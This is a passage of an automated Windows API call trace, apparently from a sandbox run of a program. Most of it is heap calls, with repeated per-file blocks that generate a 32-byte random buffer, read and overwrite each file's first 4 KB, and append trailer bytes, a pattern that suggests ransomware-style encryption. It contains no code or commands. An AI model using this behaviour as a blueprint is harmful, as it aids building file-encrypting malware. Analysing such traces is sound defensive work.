(in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.752] GetProcessHeap () returned 0x540000 [0081.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.753] GetProcessHeap () returned 0x540000 [0081.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0081.753] SetFilePointerEx (in: hFile=0x808, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.754] WriteFile (in: hFile=0x808, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0081.754] WriteFile (in: hFile=0x808, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0081.754] GetProcessHeap () returned 0x540000 [0081.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0081.754] GetProcessHeap () returned 0x540000 [0081.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0081.754] GetProcessHeap () returned 0x540000 [0081.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0081.754] CloseHandle (hObject=0x808) returned 1 [0081.760] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 35 [0081.760] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.760] ReadFile (in: hFile=0x80c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0081.760] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.760] GetProcessHeap () returned 0x540000 [0081.760] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0081.760] GetProcessHeap () returned 0x540000 [0081.760] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0081.761] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0081.761] GetProcessHeap () returned 0x540000 [0081.761] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0081.761] ReadFile (in: hFile=0x80c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0081.809] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.809] WriteFile (in: hFile=0x80c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.810] GetProcessHeap () returned 0x540000 [0081.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.811] GetProcessHeap () returned 0x540000 [0081.811] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.812] GetProcessHeap () returned 0x540000 [0081.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.813] GetProcessHeap () returned 0x540000 [0081.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.814] GetProcessHeap () returned 0x540000 [0081.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.814] GetProcessHeap () returned 0x540000 [0081.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.814] GetProcessHeap () returned 0x540000 [0081.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.814] GetProcessHeap () returned 0x540000 [0081.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.814] GetProcessHeap () returned 0x540000 [0081.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.814] GetProcessHeap () returned 0x540000 [0081.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0081.814] GetProcessHeap () returned 0x540000 [0081.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.814] GetProcessHeap () returned 0x540000 [0081.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0081.814] GetProcessHeap () returned 0x540000 [0081.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0081.814] GetProcessHeap () returned 0x540000 [0081.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.814] GetProcessHeap () returned 0x540000 [0081.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0081.814] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.814] WriteFile (in: hFile=0x80c, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0081.814] WriteFile (in: hFile=0x80c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0081.815] GetProcessHeap () returned 0x540000 [0081.815] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0081.815] GetProcessHeap () returned 0x540000 [0081.815] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0081.815] GetProcessHeap () returned 0x540000 [0081.815] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0081.815] CloseHandle (hObject=0x80c) returned 1 [0081.818] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 36 [0081.819] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.819] ReadFile (in: hFile=0x810, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0081.819] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.819] GetProcessHeap () returned 0x540000 [0081.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0081.819] GetProcessHeap () returned 0x540000 [0081.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0081.819] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0081.819] GetProcessHeap () returned 0x540000 [0081.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0081.819] ReadFile (in: hFile=0x810, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0081.876] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.876] WriteFile (in: hFile=0x810, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0081.876] GetProcessHeap () returned 0x540000 [0081.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0081.876] GetProcessHeap () returned 0x540000 [0081.876] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.876] GetProcessHeap () returned 0x540000 [0081.876] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0081.876] GetProcessHeap () returned 0x540000 [0081.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.877] GetProcessHeap () returned 0x540000 [0081.877] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.877] GetProcessHeap () returned 0x540000 [0081.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0081.878] GetProcessHeap () returned 0x540000 [0081.878] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, 